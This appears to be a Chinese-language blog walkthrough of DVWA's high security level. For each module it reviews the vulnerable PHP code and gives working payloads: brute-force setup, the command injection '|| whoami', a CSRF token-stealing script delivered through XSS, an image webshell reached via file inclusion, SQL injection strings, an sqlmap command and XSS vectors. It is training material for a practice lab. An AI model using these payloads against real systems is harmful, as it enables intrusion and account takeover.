Chosen1|安全

DVWA 高级难度全解

Brute Force

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        //sleep( rand( 0, 3 ) );   给他注释了,要不慢死你
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用bp抓包,发现有token,分析代码发现是用隐藏域传过来的,且发现每密码错误一次就会随机sleep0-3秒,如果你不是抖M就给他注释了吧

我们直接发送到攻击模块,全部跟我一样

账号密码都是用字典类型payload,token选择使用递归搜索模式,具体设置

使用正则选择tokenvalue

记得在这里设置初始token的value

设置中这里需要设置always,因为我们需要重定向

给资源池设置线程为1

进行爆破,观察length

发现password的长度和别的不一样,查看回包,发现爆破成功

Command Injection

进行代码审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

发现以下

  1. 用户输入验证和过滤
    用户输入应该始终被验证和过滤,以防止潜在的恶意输入。这个,只是简单地去除一些特定字符,但这并不足够。更好的做法是使用过滤和验证函数来确保输入是有效的IP地址。可以使用PHP的filter_var函数来验证IP地址。例如:
   $target = filter_var($_REQUEST['ip'], FILTER_VALIDATE_IP);
   if ($target === false) {
       // 输入不是有效的IP地址,进行错误处理
   }
  1. 避免使用shell_exec
    这段代码使用 shell_exec 函数来执行操作系统命令,这在安全性上存在风险,特别是当用户能够控制输入时。它容易受到命令注入攻击的威胁。为了增加安全性,应该避免在用户输入中执行系统命令。如果您需要执行Ping命令,可以使用PHP的ping库,而不是通过命令行执行。
  2. 不必要的系统信息泄漏
    代码使用 php_uname('s') 来确定操作系统类型,然后根据操作系统类型执行不同的Ping命令。这可能泄漏不必要的系统信息。建议只执行一个通用的Ping命令,而不根据操作系统类型执行不同的命令。
  3. 错误处理
    代码在输入验证失败或命令执行失败时没有提供充分的错误处理。建议添加适当的错误处理和日志记录来跟踪问题,同时向用户提供有用的错误消息。
  4. CSRF 防护
    如果这段代码用于用户界面,您还需要添加 CSRF(跨站请求伪造)防护来确保只有授权用户可以提交请求。
所以发现他只是禁用了一些特定的字符,做的黑名单过滤很不安全,我们还发现没有禁用 || 注意管道符两边都有空格 还有很多只需要慢慢找就好了
所以我们可以使用 12321213 || whoami

CSRF

添加了token认证但是token也是在前端的隐藏域,token会在更改一次密码后有一个在网页源码中

相当于token会在你修改过一次值后失效,但是会有一个新的token在你修改完成后被 隐藏域 带到前端,我只需要 在浏览器的控制台 获取新的token就能修改你的值,但是一般来说比较不现实

payload

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=611850b120c6c46c0d26fc10f3514501#

也可以编写js文件直接获取

var tokenUrl = 'http://192.168.1.187/DVWA-master/vulnerabilities/csrf/';

// 创建一个XMLHttpRequest对象,用于发送HTTP请求
if (window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest(); // 对于现代浏览器
} else {
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); // 对于旧版IE浏览器
}

var count = 0;

// 启用带有凭据的请求,通常用于跨域请求,以便携带用户的会话凭据
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        // 从HTTP响应中提取HTML文本
        var text = xmlhttp.responseText;

        // 使用正则表达式提取CSRF令牌(user_token)的值
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];

        // 构建一个新的URL,包括CSRF令牌和新密码
        var new_url = 'http://192.168.1.187/DVWA-master/vulnerabilities/csrf/?user_token=' + token + '&password_new=1234&password_conf=1234&Change=Change';

        // 如果count为0,表示尚未发送请求
        if (count == 0) {
            count++;
            // 创建GET请求,发送新的URL
            xmlhttp.open("GET", new_url, false);
            xmlhttp.send();
        }
    }
};

// 发送第一个GET请求,获取CSRF令牌
xmlhttp.open("GET", tokenUrl, false);
xmlhttp.send();

payload

http://192.168.1.187/DVWA-master/vulnerabilities/xss_d/?default=English&<script src='http://192.168.1.187/1.js'></script>

File Inclusion

代码审计

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

分析源码发现

关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

File Upload

分析源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写

发现是对后缀名进行进行判断,所以我们上传一个图片马进行绕过,在使用文件包含进行显示

上传成功会给你返回一个路径,我就直接在高级的文件包含使用了

使用file协议包含绝对路径成功

http://127.0.0.1/DVWA-new/vulnerabilities/fi/?page=file://D:\phpStudy\WWW\DVWA-new\hackable\uploads/phpinfo.jpg

Insecure CAPTCHA

首先进行修改代码

修改index中的这些

不想修改代码也可以使用谷歌验证码,修改config的这里

修改完成后我们开始绕过

代码审计

<?php 

if( isset( $_POST[ 'Change' ] ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ]; 

    // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] ); 

    // Did the CAPTCHA fail? 
    if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false; 
        return; 
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            // Update database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

            // Feedback for user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Ops. Password mismatch 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false; 
        } 
    } 

    mysql_close(); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 

?>
我们发现High验证改成了单步,加入了另一个参数'g-recaptcha-response',加入验证user-agent。

通过前两个级别的攻破,我们应该知道,增加的这个参数根本没啥用;而user-agent也是完全可以改包的。

接着抓包,修改如下,更改参数g-recaptcha-response=hidd3n_valu3以及http包头的User-Agent:reCAPTCHA

修改成功

SQL Injection

首先进行类型判断.发现是字符型,测试闭合,发现闭合是单引号

判断列数,发现有两列数据

判断显示位

结果如下

使用联合注入输出数据库与用户

123' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() --

SQL Injection (Blind)

1' -- -
来进行判断闭合

-1' or length(database())>8 limit 1 -- -
使用这个payload判断数据库名长度

-1' or length(database())>8 limit 1 -- -
发现数据库名长度为8位
1' and ascii(substr(database(),1,1))>99 -- -
判断出来第一个字符位d,后面一步步往后走即可
也可以使用sqlmap,攻击类型为布尔盲注
python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/" --cookie="id=2; security=high; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B

DOM Based Cross Site Scripting (XSS)

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");  //如果不是下拉框中的,则会变成English
            exit;
    }
}

?>
发现只允许选择下拉框中的四个选项,输入其他会变成下拉框中的内容,网上写的不知道都是啥,我用#怎么试都弹不出来,我跟他们打的不是一个靶场吗??

Reflected Cross Site Scripting (XSS)

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );  //使用通配符,完全匹配script*N,所以有关script的标签全被过滤  且忽略大小写

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

?> 

可以换标签

<img src=1 onerror=alert("xss");>

Stored Cross Site Scripting (XSS)

代码审计

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input  前端对name进行了长度限制,所以要不修改前端限制输入的长度,要不然抓包更改
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );  //使用通配符,完全匹配script*N,所以有关script的标签全被过滤  且忽略大小写
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

这段代码似乎是一个用于处理用户提交到留言板的数据的 PHP 脚本。它执行了以下操作:

  1. 当用户点击名为 "btnSign" 的提交按钮时,脚本会执行。
  2. 获取用户通过 POST 请求提交的两个输入值:mtxMessage(留言内容)和 txtName(留言者姓名)。
  3. 对用户输入进行了一些清理和处理:
  1. 使用 mysqli_real_escape_string 函数来将经过处理的留言内容和姓名值转义,以防止 SQL 注入。
  2. 接下来,将经过处理的留言内容和姓名值插入到名为 guestbook 的数据库表中,使用了一个 SQL INSERT 语句。这行代码将用户提交的数据存储到数据库中。
  3. 最后,代码使用 mysqli_query 函数执行 SQL 查询,将留言数据插入到数据库中。如果插入失败,脚本将会输出数据库错误信息。

总体来说,这段代码的主要目的是处理用户提交的留言数据并将其存储到数据库中。它采取了一些安全措施,例如转义和清理输入以防止 SQL 注入和跨站点脚本攻击。但是,这段代码依然有一些改进的空间:

这关需要使用bp进行抓包修改

<img src=1 onerror=alert(1)>

Content Security Policy (CSP) Bypass

CSP Bypass(CSP 绕过)

Content Security Policy (CSP) is used to define where scripts and other resources can be loaded or executed from. This module will walk you through ways to bypass the policy based on common mistakes made by developers.
内容安全策略(CSP)用于定义脚本和其他资源可以从何处加载或执行,本模块将指导您根据开发人员犯下的常见错误来绕过该策略。

None of the vulnerabilities are actual vulnerabilities in CSP, they are vulnerabilities in the way it has been implemented.
这些漏洞都不是 CSP 中的实际漏洞,它们都是实现 CSP 的方式中的漏洞。
Bypass Content Security Policy (CSP) and execute JavaScript in the page.
绕过内容安全策略(CSP),并在页面中执行JavaScript。


内容安全策略
CSP 指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本(XSS) 问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP 以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过 HTTP 头信息或者 meta 元素定义。CSP 虽然提供了强大的安全保护,但是它也令 eval() 及相关函数被禁用、内嵌的 JavaScript 代码将不会执行、只能通过白名单来加载远程脚本。如果要使用 CSP 技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的 JavaScript 代码和做一些调整。
关联阅读
https://www.cnblogs.com/linfangnan/p/13714694.html

进行抓包修改

修改为alert(1)

弹窗成功

JavaScript Attacks

首先我们需要去http://deobfuscatejavascript.com/把代码进行反混淆

(function() {
    'use strict';
    var ERROR = 'input is invalid type';
    var WINDOW = typeof window === 'object';
    var root = WINDOW ? window : {};
    if (root.JS_SHA256_NO_WINDOW) {
        WINDOW = false
    }
    var WEB_WORKER = !WINDOW && typeof self === 'object';
    var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
    if (NODE_JS) {
        root = global
    } else if (WEB_WORKER) {
        root = self
    }
    var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;
    var AMD = typeof define === 'function' && define.amd;
    var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
    var HEX_CHARS = '0123456789abcdef'.split('');
    var EXTRA = [-2147483648, 8388608, 32768, 128];
    var SHIFT = [24, 16, 8, 0];
    var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];
    var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];
    var blocks = [];
    if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {
        Array.isArray = function(obj) {
            return Object.prototype.toString.call(obj) === '[object Array]'
        }
    }
    if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
        ArrayBuffer.isView = function(obj) {
            return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer
        }
    }
    var createOutputMethod = function(outputType, is224) {
            return function(message) {
                return new Sha256(is224, true).update(message)[outputType]()
            }
        };
    var createMethod = function(is224) {
            var method = createOutputMethod('hex', is224);
            if (NODE_JS) {
                method = nodeWrap(method, is224)
            }
            method.create = function() {
                return new Sha256(is224)
            };
            method.update = function(message) {
                return method.create().update(message)
            };
            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                var type = OUTPUT_TYPES[i];
                method[type] = createOutputMethod(type, is224)
            }
            return method
        };
    var nodeWrap = function(method, is224) {
            var crypto = eval("require('crypto')");
            var Buffer = eval("require('buffer').Buffer");
            var algorithm = is224 ? 'sha224' : 'sha256';
            var nodeMethod = function(message) {
                    if (typeof message === 'string') {
                        return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')
                    } else {
                        if (message === null || message === undefined) {
                            throw new Error(ERROR)
                        } else if (message.constructor === ArrayBuffer) {
                            message = new Uint8Array(message)
                        }
                    }
                    if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {
                        return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')
                    } else {
                        return method(message)
                    }
                };
            return nodeMethod
        };
    var createHmacOutputMethod = function(outputType, is224) {
            return function(key, message) {
                return new HmacSha256(key, is224, true).update(message)[outputType]()
            }
        };
    var createHmacMethod = function(is224) {
            var method = createHmacOutputMethod('hex', is224);
            method.create = function(key) {
                return new HmacSha256(key, is224)
            };
            method.update = function(key, message) {
                return method.create(key).update(message)
            };
            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                var type = OUTPUT_TYPES[i];
                method[type] = createHmacOutputMethod(type, is224)
            }
            return method
        };

    function Sha256(is224, sharedMemory) {
        if (sharedMemory) {
            blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;
            this.blocks = blocks
        } else {
            this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        }
        if (is224) {
            this.h0 = 0xc1059ed8;
            this.h1 = 0x367cd507;
            this.h2 = 0x3070dd17;
            this.h3 = 0xf70e5939;
            this.h4 = 0xffc00b31;
            this.h5 = 0x68581511;
            this.h6 = 0x64f98fa7;
            this.h7 = 0xbefa4fa4
        } else {
            this.h0 = 0x6a09e667;
            this.h1 = 0xbb67ae85;
            this.h2 = 0x3c6ef372;
            this.h3 = 0xa54ff53a;
            this.h4 = 0x510e527f;
            this.h5 = 0x9b05688c;
            this.h6 = 0x1f83d9ab;
            this.h7 = 0x5be0cd19
        }
        this.block = this.start = this.bytes = this.hBytes = 0;
        this.finalized = this.hashed = false;
        this.first = true;
        this.is224 = is224
    }
    Sha256.prototype.update = function(message) {
        if (this.finalized) {
            return
        }
        var notString, type = typeof message;
        if (type !== 'string') {
            if (type === 'object') {
                if (message === null) {
                    throw new Error(ERROR)
                } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {
                    message = new Uint8Array(message)
                } else if (!Array.isArray(message)) {
                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
                        throw new Error(ERROR)
                    }
                }
            } else {
                throw new Error(ERROR)
            }
            notString = true
        }
        var code, index = 0,
            i, length = message.length,
            blocks = this.blocks;
        while (index < length) {
            if (this.hashed) {
                this.hashed = false;
                blocks[0] = this.block;
                blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
            }
            if (notString) {
                for (i = this.start; index < length && i < 64; ++index) {
                    blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]
                }
            } else {
                for (i = this.start; index < length && i < 64; ++index) {
                    code = message.charCodeAt(index);
                    if (code < 0x80) {
                        blocks[i >> 2] |= code << SHIFT[i++ & 3]
                    } else if (code < 0x800) {
                        blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    } else if (code < 0xd800 || code >= 0xe000) {
                        blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    } else {
                        code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
                        blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    }
                }
            }
            this.lastByteIndex = i;
            this.bytes += i - this.start;
            if (i >= 64) {
                this.block = blocks[16];
                this.start = i - 64;
                this.hash();
                this.hashed = true
            } else {
                this.start = i
            }
        }
        if (this.bytes > 4294967295) {
            this.hBytes += this.bytes / 4294967296 << 0;
            this.bytes = this.bytes % 4294967296
        }
        return this
    };
    Sha256.prototype.finalize = function() {
        if (this.finalized) {
            return
        }
        this.finalized = true;
        var blocks = this.blocks,
            i = this.lastByteIndex;
        blocks[16] = this.block;
        blocks[i >> 2] |= EXTRA[i & 3];
        this.block = blocks[16];
        if (i >= 56) {
            if (!this.hashed) {
                this.hash()
            }
            blocks[0] = this.block;
            blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
        }
        blocks[14] = this.hBytes << 3 | this.bytes >>> 29;
        blocks[15] = this.bytes << 3;
        this.hash()
    };
    Sha256.prototype.hash = function() {
        var a = this.h0,
            b = this.h1,
            c = this.h2,
            d = this.h3,
            e = this.h4,
            f = this.h5,
            g = this.h6,
            h = this.h7,
            blocks = this.blocks,
            j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;
        for (j = 16; j < 64; ++j) {
            t1 = blocks[j - 15];
            s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);
            t1 = blocks[j - 2];
            s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);
            blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0
        }
        bc = b & c;
        for (j = 0; j < 64; j += 4) {
            if (this.first) {
                if (this.is224) {
                    ab = 300032;
                    t1 = blocks[0] - 1413257819;
                    h = t1 - 150054599 << 0;
                    d = t1 + 24177077 << 0
                } else {
                    ab = 704751109;
                    t1 = blocks[0] - 210244248;
                    h = t1 - 1521486534 << 0;
                    d = t1 + 143694565 << 0
                }
                this.first = false
            } else {
                s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));
                s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));
                ab = a & b;
                maj = ab ^ (a & c) ^ bc;
                ch = (e & f) ^ (~e & g);
                t1 = h + s1 + ch + K[j] + blocks[j];
                t2 = s0 + maj;
                h = d + t1 << 0;
                d = t1 + t2 << 0
            }
            s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));
            s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));
            da = d & a;
            maj = da ^ (d & b) ^ ab;
            ch = (h & e) ^ (~h & f);
            t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];
            t2 = s0 + maj;
            g = c + t1 << 0;
            c = t1 + t2 << 0;
            s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));
            s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));
            cd = c & d;
            maj = cd ^ (c & a) ^ da;
            ch = (g & h) ^ (~g & e);
            t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];
            t2 = s0 + maj;
            f = b + t1 << 0;
            b = t1 + t2 << 0;
            s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));
            s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));
            bc = b & c;
            maj = bc ^ (b & d) ^ cd;
            ch = (f & g) ^ (~f & h);
            t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];
            t2 = s0 + maj;
            e = a + t1 << 0;
            a = t1 + t2 << 0
        }
        this.h0 = this.h0 + a << 0;
        this.h1 = this.h1 + b << 0;
        this.h2 = this.h2 + c << 0;
        this.h3 = this.h3 + d << 0;
        this.h4 = this.h4 + e << 0;
        this.h5 = this.h5 + f << 0;
        this.h6 = this.h6 + g << 0;
        this.h7 = this.h7 + h << 0
    };
    Sha256.prototype.hex = function() {
        this.finalize();
        var h0 = this.h0,
            h1 = this.h1,
            h2 = this.h2,
            h3 = this.h3,
            h4 = this.h4,
            h5 = this.h5,
            h6 = this.h6,
            h7 = this.h7;
